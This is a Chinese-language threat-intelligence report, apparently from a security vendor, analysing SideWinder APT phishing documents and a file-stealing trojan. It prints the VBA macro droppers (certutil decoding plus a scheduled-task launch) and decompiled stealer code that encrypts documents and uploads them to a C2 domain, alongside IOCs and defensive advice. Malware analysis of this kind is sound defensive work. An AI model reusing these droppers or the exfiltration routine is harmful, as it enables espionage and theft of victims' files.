2024年3月:SideWinder组织近期针对国内的攻击事件

2024年3月:SideWinder组织近期针对国内的攻击事件

概述

  瑞星威胁情报平台捕获到近期针对国内的攻击事件。攻击者通过邮件发送给目标机构钓鱼文档。当用户双击文档执行宏代码后,会在释放出一个窃密的木马,该木马会获取指定的目录下后缀名为pdf、doc、docx、xlsx、xls、ppt、pptx、zip的文件,把获取到的文件加密之后发送到服务器。通过对比其域名特点和窃密手法,发现和SideWinder组织具有高度相似性,因此将本次捕获到的攻击行动归属于SideWinder组织。

  SideWinder是一个至少从2012年就开始进行网络攻击的威胁组织,疑似来自印度。这个APT组织又被称为响尾蛇T-APT-04RattlesnakeAPT-C-17,是现今最活跃的组织之一。该组织主要是从事信息窃取和间谍活动,该组织的大多数的活动都集中在中国,巴基斯坦,阿富汗等国家,涉及的目标行业多为医疗,国防,政府和科技公司等。

ATT&CK 矩阵

战术 技术 具体行为
TA0001 初始访问 T1566 网络钓鱼 通过网络钓鱼邮件的方式发送给受害者
TA0002 执行 T1204 用户执行 需要用户主动执行
TA0003 持久化 T1053 计划任务/作业 创建计划任务定期启动恶意程序实现本地持久化
TA0005 防御规避 T1027-混淆过的文件或信息 恶意程序编码混淆后内嵌在钓鱼文件内
TA0005 防御规避 T1564 隐蔽组件 隐藏文件和目录
TA0007 环境发现 T1083 枚举文件和目录 遍历指定目录下的文件
TA0007 环境发现 T1082 收集系统信息 收集被入侵主机的系统信息
TA0009 收集信息 T1119 自动收集 采集特定后缀名的文件并加密回传至服务器
TA0009 收集信息 T1074 数据暂存 采集特定后缀名的文件并将其拷贝至%appdata%\OneDrive目录下
TA0010 外传信息 T1041 通过C2通道外传 采集的文件通过C2通道回传至服务器
TA0011 指挥与控制 T1071 应用层协议 使用HTTP协议与服务器进行通信

攻击事件详情

  诱饵文件内容是中国海军首次训练的时间,在标题的上方还有一份名为wopC064.tmpMicrosoft_PowerPoint_97-2003_Presentation.pptppt文件。这个ppt文件中有恶意的宏代码,并且第一张幻灯片内的图形中隐藏了base64编码的字符串。

image

image

  窃密木马最终的C2地址在直接访问域名时会被HTTP 302重定向至中国国防部网,而访问完整URL则会HTTP 302重定向至中国政府网。攻击者可能使用此方式迷惑用户

image

image

攻击流程

  2024年3月攻击事件流程:

image

  2024年5月攻击事件流程:

image

样本分析

1. 初始文档

1.1 2024年3月攻击事件文档
字段 内容
文件名 Microsoft_PowerPoint_97-2003_Presentation.ppt
文件大小 5.26 MB (5519360 bytes)
文件MD5 39122a2bcf6c360271e8edb503bc2761
文件类型 ppt
病毒名 Dropper.[SideWinder]Agent/VBA!1.FDE7

  攻击者通过电子邮件投递一个伪装成中国海军训练时间的文件,文件里面有一份内置了恶意的宏代码的PPT,当宏代码被执行时,会检查C:\~Microsoft365目录下是否有support.txt文件,如果不存在,则会读取第一张幻灯片内图形内的文本,写入到C:\~Microsoft365\support.txt中,并把~Microsoft365目录设置为隐藏属性,创建一个计划任务使用certutil解码support.txt文件为wword.exe,然后执行wword.exe

Attribute VB_Name = "Module1"
Sub BracnchExecution()

    CheckFileInFolder
    ScheduleTask   
End Sub
Sub CheckFileInFolder()
    Dim folderPath As String
    Dim fileName As String
    Dim fullPath As String

    folderPath = "C:\~Microsoft365"
    fileName = "support.txt"
    fullPath = folderPath & "\" & fileName
    If Dir(fullPath) <> "" Then
        MsgBox "File not supported!!"
    Else
        Textbox_reader
    End If
End Sub
Sub Test()
    Dim Charts_Path As String
    Charts_Path = "C:\~Microsoft365"
    If Dir(Charts_Path, vbDirectory) = "" Then MkDir Charts_Path
    SetAttr "C:\~Microsoft365", vbHidden Or vbSystem
End Sub
Sub Textbox_reader()
    Test
    Dim myInput As String
    myInput = ActivePresentation.Slides(1).Shapes(1).TextFrame.TextRange.Text
    Set textFile = CreateObject("Scripting.FileSystemObject").CreateTextFile("C:\~Microsoft365\support.txt", True)
    textFile.Write myInput
    textFile.Close
End Sub
Sub ScheduleTask()
    Dim strCommand As String
    strCommand = "schtasks /create /TN windows_updates /SC ONCE /ST 11:11 /TR ""cmd /c certutil -decode C:\~Microsoft365\support.txt C:\~Microsoft365\wword.exe && C:\~Microsoft365\wword.exe"""
    Shell "cmd /c " & strCommand, vbHide
End Sub
1.1 2024年5月攻击事件文档
字段 内容
文件名 工作计划修订/工作计划修订.xls
文件大小 390.50 KB (399872 bytes)
文件MD5 6723be4fc978133699d55e65945b85ab
文件类型 xls
病毒名 Trojan.TaskRun/VBA!1.FDEC

   宏代码被执行之后,会检查C:\$APPDATA下是否存在C:\$APPDATA\control.exe,不存在则会从celenski.neyathu.Text中获取的文本内的十进制数据转换为二进制并写入到control.exe中,并把$APPDATA目录设置为隐藏属性,创建三个不同时间的计划任务运行control.exe

draum_p = "dYT4B5RV3DCu"
Dim ar() As String
Cathd Flum_tehr
If Len(Dir(Flum_tehr)) = 0 Then
    ar = Split(celenski.neyathu.Text, ",")
    draum_p = "dYT4Bdsd5RV3DCu"
    Dim fileNum As Integer
    Open Flum_tehr For Binary As #1
    Seek #1, LOF(1) + 1
    For row = LBound(ar) To UBound(ar)
        Put #1, , CByte(ar(row))
    Next
    Close #1
    Call Fetsy(1)
    draum_p = "ddsYTdsd4B5RV3DCu"
End If
draum_p = "ddsdYT4B5sdsdRV3DCu"
Sub Cathd(strProgramName As String)
    On Error Resume Next
    Dim doomday As String
    Dim strArgument As String
    doomday = "ddsddYT4sdsdB5RV3DCuu%u"
    Const VISIBLE = 1, INVISIBLE = 0
    Const WAIT = True, NOWAIT = False
    Run_Code "md c:\$APPDATA", INVISIBLE, WAIT
    Run_Code "attrib +a +h +s c:\$APPDATA", INVISIBLE, WAIT
    Run_coder "SCHTASKS /Create /SC DAILY /TN KR87463 /TR C:\$APPDATA\console.exe /ST 11:05", "", INVISIBLE, NOWAIT
    Run_coder "SCHTASKS /Create /SC DAILY /TN Hotfix03 /TR C:\$APPDATA\console.exe /ST 10:07", "", INVISIBLE, NOWAIT
    Run_coder "SCHTASKS /Create /SC DAILY /TN KB546372 /TR C:\$APPDATA\console.exe /ST 15:26", "", INVISIBLE, NOWAIT
    Run_Code "set path=c:\$APPDATAS&&console.exe", INVISIBLE, WAIT  
End Sub 

2. 窃密木马

2.1 2024年3月攻击事件窃密木马
字段 内容
原始文件名 wword.exe
文件大小 152.88 KB (156544 bytes)
文件MD5 df6b768247a9cdb5607819c79f02099d
文件类型 EXE
病毒名 Stealer.[SideWinder]Agent/x64!1.FDF0

  木马会创建一个名为MTX互斥体,使用WMI获取与计算机的系统产品相关的信息,然后在当前目录下释放一个名为config.txt的文件,会向文件中写入一串特殊的字符串。

MutexA = CreateMutexA(0i64, 1, "MTX");
if ( GetLastError() == 183 )
{
    CloseHandle(MutexA);
    return 0;
}
if ( !byte_140017CD8 )
{
    memset(v107, 0, sizeof(v107));
    sub_140009820((__int64)v107, (__int64)"config.txt", 1);
    if ( std::ios_base::good((std::ios_base *)((char *)v107 + *(int *)(v107[0] + 4))) )
    {
        *(_OWORD *)v112 = 0i64;
        v113 = _mm_load_si128((const __m128i *)&xmmword_140011DE0);
        LOBYTE(v112[0]) = 0;
        if ( v107[18] )
        {
            sub_14000C840((__int64)v107, v108);
        }
        v113 = _mm_load_si128((const __m128i *)&xmmword_140011DE0);
        LOBYTE(v112[0]) = 0;
    }
}
v17 = 0i64;
v8 = operator new(0x18ui64);
if ( v8 )
{
    *(_OWORD *)v8 = 0i64;
    v8[2] = 0i64;
    v8[1] = 0i64;
    *((_DWORD *)v8 + 4) = 1;
    *v8 = sub_14000EA50("SELECT * FROM Win32_ComputerSystemProduct");
}

  在%AppData%下创建一个OneDrive文件夹,连接服务器,向服务器hxxp://Syncscheduler.com/r3diRecT/redirector/proxy.php发送uD=&xifangtaiyang=,服务器会向客户端发送四字节的0A0A0A0A内容以确认服务器接受成功。

// InternetCloseHandle
for ( mm = 0i64; mm < 0x12; ++mm )
    v89[mm] ^= v88; 
// InternetSetOptionA                    
BYTE2(v90[0]) = 0;                   
qword_140017CB0 = sub_140002440(qword_140017CB8, v89);
v75 = 3;
strcpy(v76, "3E");
for ( nn = 0i64; nn < 3; ++nn )
    v76[nn - 1] ^= (_BYTE)nn + 118;
// uD=
v76[2] = 0;                           
v61 = (_QWORD *)sub_14000C530(&v104, &v75, v108);
v86[1] = 9;
strcpy(v87, "/q`ohgn}h`phgn4");
for ( i1 = 0i64; i1 < 0xF; ++i1 )
    // &xifangtaiyang=
    v87[i1] ^= LOBYTE(v86[1]);         
v87[15] = 0;
// uD=&xifangtaiyang=
v63 = (__m128i *)sub_14000B0F0(v61, v87);

for ( i = 0i64; i < 0x73; ++i )
    // Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8
    v32[i] ^= v31;                              
v34[11] = 0;
v3_InternetOpenA = qword_140017CD0(v32, 1i64, 0i64);
if ( v3_InternetOpenA )
{
    v28 = 81;
    qmemcpy(v29, "\"(?2\"2945$=4#", 13);
    v29[13] = 127;
    strcpy(v30, "2><");
    for ( j = 0i64; j < 0x11; ++j )
        // Syncscheduler.com
        v29[j] ^= v28;                           
    v30[3] = 0;
    v9_InternetConnectA = qword_140017CC0(v3_InternetOpenA, v29, 80i64, 0i64, 0i64, 3, 0, 0i64);
    v35 = v9_InternetConnectA;
    if ( v9_InternetConnectA )
    {
        strcpy(v27, "3v7hmVigX3vihmvigxsv3tvs|}2tlt");
        for ( k = 0i64; k < 0x1E; ++k )
        // /r3diRecT/redirector/proxy.php
            v27[k] -= 4;                            
        v11 = ((__int64 (__fastcall *)(__int64, const char *, char *, _QWORD, _QWORD, _QWORD, _DWORD, _QWORD))qword_140017CF8)(
                v9_InternetConnectA,
                "POST",
                v27,
                0i64,
                0i64,
                0i64,
                0,
                0i64);
    }
}

  接着会遍历/Downloads、/Documents、/Desktop这三个目录下的文件,对比文件的后缀名,获取后缀名为pdf、doc、docx、xlsx、xls、ppt、pptx、zip的文件,把符合条件的文件复制到C:\Users\zw285\AppData\Roaming\OneDrive目录下。

sub_14000DD30(Src, v24, v23, v33, v29, "/Downloads", 0xAui64);
if ( 0x7FFFFFFFFFFFFFFFi64 - v165[0] < 0xA )
    sub_1400016F0();
v36 = v164;
if ( v165[1] >= 0x10 )
    v36 = (void **)v164[0];
sub_14000DD30(Buf2, v34, v35, v36, v165[0], "/Documents", 0xAui64);
if ( 0x7FFFFFFFFFFFFFFFi64 - v165[0] < 8 )
    sub_1400016F0();
v39 = v164;
if ( v165[1] >= 0x10 )
    v39 = (void **)v164[0];
sub_14000DD30(v168, v37, v38, v39, v165[0], "/Desktop", 8ui64);
while ( 1 )
{
    v119 = Buf2;
    if ( v116 >= 0x10 )
        v119 = (void **)v117;
    v120 = (const void *)v114;
    // pdf doc docx xlsx xls ppt pptx zip
    if ( *(_QWORD *)(v114 + 24) >= 0x10ui64 )
        v120 = *(const void **)v114;
    v121 = *(_QWORD *)(v114 + 16);
    if ( v121 == v118 && !memcmp(v120, v119, v121) )
        break;
    v114 += 32i64;
    if ( v114 == v115 )
        goto LABEL_224;
}

  在文件的原名称后加上特殊的标志符以此来修改文件名,再使用TEA加密算法对文件的内容进行加密。加密算法如下:

do
{
    v8 = v4 + dword_140017068[v6 & 3];
    v9 = v4 - 1640531527;
    v10 = (v8 ^ (result + ((16 * result) ^ ((unsigned int)result >> 5)))) + v2;
    v11 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v10 + ((16 * v10) ^ (v10 >> 5)))) + result;
    v12 = (v9 + dword_140017068[v9 & 3]) ^ (v11 + ((16 * v11) ^ (v11 >> 5)));
    v9 -= 1640531527;
    v13 = v12 + v10;
    v14 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v13 + ((16 * v13) ^ (v13 >> 5)))) + v11;
    v15 = (v9 + dword_140017068[v9 & 3]) ^ (v14 + ((16 * v14) ^ (v14 >> 5)));
    v9 -= 1640531527;
    v16 = v15 + v13;
    v17 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v16 + ((16 * v16) ^ (v16 >> 5)))) + v14;
    v18 = v9 + dword_140017068[v9 & 3];
    v9 -= 1640531527;
    v19 = (v18 ^ (v17 + ((16 * v17) ^ (v17 >> 5)))) + v16;
    v20 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v19 + ((16 * v19) ^ (v19 >> 5)))) + v17;
    v21 = (v9 + dword_140017068[v9 & 3]) ^ (v20 + ((16 * v20) ^ (v20 >> 5)));
    v9 -= 1640531527;
    v22 = v21 + v19;
    v23 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v22 + ((16 * v22) ^ (v22 >> 5)))) + v20;
    v24 = (v9 + dword_140017068[v9 & 3]) ^ (v23 + ((16 * v23) ^ (v23 >> 5)));
    v9 -= 1640531527;
    v25 = v24 + v22;
    v26 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v25 + ((16 * v25) ^ (v25 >> 5)))) + v23;
    v27 = v9 + dword_140017068[v9 & 3];
    v9 -= 1640531527;
    v28 = (v27 ^ (v26 + ((16 * v26) ^ (v26 >> 5)))) + v25;
    v29 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v28 + ((16 * v28) ^ (v28 >> 5)))) + v26;
    v30 = (v9 + dword_140017068[v9 & 3]) ^ (v29 + ((16 * v29) ^ (v29 >> 5)));
    v9 -= 1640531527;
    v31 = v30 + v28;
    v32 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v31 + ((16 * v31) ^ (v31 >> 5)))) + v29;
    v33 = (v9 + dword_140017068[v9 & 3]) ^ (v32 + ((16 * v32) ^ (v32 >> 5)));
    v9 -= 1640531527;
    v34 = v33 + v31;
    v35 = ((v9 + dword_140017068[(v9 >> 11) & 3]) ^ (v34 + ((16 * v34) ^ (v34 >> 5)))) + v32;
    v36 = (v9 + dword_140017068[v9 & 3]) ^ (v35 + ((16 * v35) ^ (v35 >> 5)));
}

后缀名对应的标识符:

后缀名 标识符
pdf x593
doc x367
docx x946
xls x142
xlsx x375
ppt x593
pptx x842
zip x053

  把加密后的数据发送到hxxp://syncscheduler.com/r3diRecT/redirector/proxy.php,其流量数据包中的filename="文件名"text data的内容是加密之后的数据,发送完之后,服务端同样会向客户端发送四字节的0A0A0A0A内容以确认服务器接受成功。该窃密木马会一个一个文件的发,当发送完一个文件之后,会删除OneDrive文件夹下的文件,然后继续遍历下一个文件。

sub_14000CD80(
    v145,
    "Content-Type: multipart/form-data; boundary=---------------------------7d82751e2bc0858",
    0x56ui64);
*(_OWORD *)v141 = 0i64;

image

2.2 2024年5月攻击事件窃密木马
字段 内容
原始文件名 console.exe
文件大小 73.88 KB (75655 bytes)
文件MD5 88f120d331ec46c2908486a72d6665a1
文件类型 EXE
病毒名 Stealer.[SideWinder]Agent/x64!1.FDF0

  该样本和2024年3月的样本功能一致,都是获取/Downloads、/Documents、/Desktop下的文件。

if ( (unsigned __int64)(0x7FFFFFFFFFFFFFFFi64 - v16) < 0xA )
    sub_1400014A0();
sub_140009510(Src, v16, "/Downloads", 0xAui64);
if ( 0x7FFFFFFFFFFFFFFFi64 - v122[0] < 0xA )
    sub_1400014A0();
sub_140009510(v113, v122[0], "/Documents", 0xAui64);
if ( 0x7FFFFFFFFFFFFFFFi64 - v122[0] < 8 )
    sub_1400014A0();
sub_140009510(v125, v122[0], "/Desktop", 8ui64);

  和2024年3月样本中对比文件后缀名的代码非常相似

// pdf  doc docx xlsx xls ppt pptx zip
while ( 1 )
{
    v16 = Buf2;
    v17 = (const void *)v11;
    if ( v13 >= 0x10 )
        v16 = v14;
    if ( *(_QWORD *)(v11 + 24) >= 0x10ui64 )
        v17 = *(const void **)v11;
    v18 = *(_QWORD *)(v11 + 16);
    if ( v18 == v15 && !memcmp(v17, v16, v18) )
        break;
    v11 += 32i64;
    if ( v11 == v12 )
        goto LABEL_22;
}

只是比之前的简化了很多,这次的样本没有像之前那样创建了OneDrive文件夹,也没对获取的数据进行加密,直接把获取的文件中的数据以明文的形式发送到hxxp://syncscheduler.com/r3diRecT/redirector/proxy.php

// 判断文件后缀名
if ( (unsigned __int8)sub_140003990(&v116, v87, v89) )
{
    v92 = &v116;
    if ( *((_QWORD *)&v117 + 1) >= 0x10ui64 )
        v92 = (__int128 *)v116;
    v93 = (char *)v3;
    if ( *(_QWORD *)(v3 + 24) >= 0x10ui64 )
        v93 = *(char **)v3;
    // 发送文件
    sock_140002940(v93, v92, "fu");           
}

关联分析

字段 内容
文件名 BenevolentFundAndGroupInsurance.pdf
文件大小 71.61 KB (73330 bytes)
文件MD5 6509a51daf061b40fef419d641ea73ed
文件类型 pdf

  在2024年3月有另一起针对巴基斯坦财政部的事件,使用了同样的窃密木马,在第一阶段下载下一阶段的恶意文件时使用了finance-gov-pk.rf.gd的域名,SideWinder组织的一个典型的特点是使用的C2服务器域名中通常包含CDN或者gov.pkgov-pk,另一个特点是其C2域名会仿造成与攻击目标的官网相似的域名,finance-gov-pk.rf.gd这个域名就是仿造巴基斯坦财政部官网。

字段 内容
文件名 image.jpg
文件大小 175.88 KB (180096 bytes)
文件MD5 9e38e6648508755ea6db38eb657b04b7
文件类型 EXE
病毒名 Stealer.[SideWinder]Agent/x64!1.FE63

  最后的窃密木马和本次攻击事件的一样,获取/Downloads、/Documents、/Desktop下的文件,使用TEA加密算法对文件进行加密,在原文件名上添加特殊的标识符修改文件名,再上传文件到hxxp://packageupdates.net/r3diRecT/redirector/proxy.php服务器上。

  在之前国内友商发布的SideWinder组织报告中,远控后门SystemAppRAT的功能和此次的窃密木马非常相似,其获取的指定文件的后缀名也几乎一样,也都使用WMI命令获取系统相关的信息,此窃密木马很有可能是SystemAppRAT后门的变种。

image

   获取系统信息:

image

image

image

攻击过程可视化(EDR)

  瑞星EDR的威胁调查功能为恶意软件威胁溯源分析提供可视化的应用程序关系图,从任意节点进行溯源梳理攻击过程,定位恶意软件关键行为。结合AI对攻击流程进行精准分析,全方位还原恶意软件的完整攻击链。

2024年3月的攻击事件:

image

image

2024年5月的攻击事件:

image

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本。

image

  1. 及时修补系统补丁和重要软件的补丁。

IOC信息

  • MD5

    39122a2bcf6c360271e8edb503bc2761
    6723be4fc978133699d55e65945b85ab
    df6b768247a9cdb5607819c79f02099d
    88f120d331ec46c2908486a72d6665a1
    6509a51daf061b40fef419d641ea73ed
    9e38e6648508755ea6db38eb657b04b7
  • IPV4

    146.70.80.58
  • URL

    hxxp://syncscheduler.com/r3diRecT/redirector/proxy.php
    hxxp://packageupdates.net/r3diRecT/redirector/proxy.php
  • Domain

    syncscheduler.com
    finance-gov-pk.rf.gd
    packageupdates.net
  • 瑞星病毒名

    Dropper.[SideWinder]Agent/VBA!1.FDE7
    Stealer.[SideWinder]Agent/x64!1.FDF0
    Stealer.[SideWinder]Agent/x64!1.FE63

参考链接

Author